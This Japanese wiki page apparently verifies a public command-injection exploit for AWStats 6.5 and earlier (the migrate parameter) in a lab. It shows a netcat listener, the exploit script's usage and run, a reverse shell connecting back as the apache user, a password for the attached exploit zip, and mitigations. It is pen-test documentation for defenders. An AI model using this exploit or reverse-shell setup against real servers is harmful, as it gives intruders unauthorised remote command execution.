AWStats <= 6.5 (migrate) Remote Shell Command Injection Exploit

更新履歴

  • 2006/05/08 初版

概要

  • AWStatsの migrateパラメータ の脆弱性を使用したExploit。
  • Webサーバ特権の下で任意のコマンドを実行できる。
  • AWStatsの設定ファイルで「AllowToUpdateStatsFromBrowser」を有効にしている環境のみ影響を受ける。
    • ブラウザからの更新処理を可能とする機能
    • デフォルト設定では無効
    • AWStatsの上部画面に「更新する」が表示されていると「AllowToUpdateStatsFromBrowser」が有効になっているので注意

「更新する」というリンクがあれば有効になっている

  • 2006/05/05 公開

影響を受けるシステム

  • AWStats 6.5 以前のバージョン(6.5含む)

添付ファイル

files password
awstats_migrate.zip pen-test

参考URL

Exploitの検証

検証環境

  • CentOS 4.3
  • AWStats 6.5 (Build 1.857)

検証結果

  • リバースコネクトで 攻撃先Webサーバ から 攻撃元 に接続させる。
  • 攻撃元IPアドレス: 192.168.1.10
  • 攻撃先Webサーバ IPアドレス: 192.168.1.20
  • 攻撃元は Netcat で任意のポート(今回は 31337)で待ち受けておく。
$ nc -l -p 31337 -v
listening on [any] 31337 ...
  • 攻撃元から、以下コマンドを実行する。
$ ./awstats_migrate.py
[BL4CK] AWStats CMD Injection Exploit by redsand@blacksecurity.org
http://secunia.com/advisories/19969/
http://blacksecurity.org - f0r my h0mi3s
USAGE: ./awstats.py http://host/awstats.pl <connect back host> <connect back port> [username] [password] 
        \* Support 401 HTTP Authentication
$ 
$ ./awstats_migrate.py http://192.168.1.20/awstats/awstats.pl 192.168.1.10 31337
[BL4CK] AWStats CMD Injection Exploit by redsand@blacksecurity.org
http://secunia.com/advisories/19969/
http://blacksecurity.org - f0r my h0mi3s
SUCCESS, now check to see if it connected-back properly to 192.168.1.10:31337
$ 
  • 攻撃先Webサーバから攻撃元の Netcat待ち受けポートに接続される。
  • idコマンドの結果から、apache権限でシェルコマンドが実行可能であることがわかる。
$ nc -l -p 31337 -v
listening on [any] 31337 ...
192.168.1.20: inverse host lookup failed: Unknown host
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.20] 1221

id
uid=1001(apache) gid=1001(apache) groups=1001(apache)
pwd
/tmp

対処方法

  1. 「AllowToUpdateStatsFromBrowser」を無効(0)にする。
  2. AWStats 6.6 以降にバージョンアップする。
  3. AWStats への接続制限を行う。
 
exploit/remote/misc/awstats-migrate.txt · 最終更新: 2007/10/16 12:02
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki NINJA TOOLS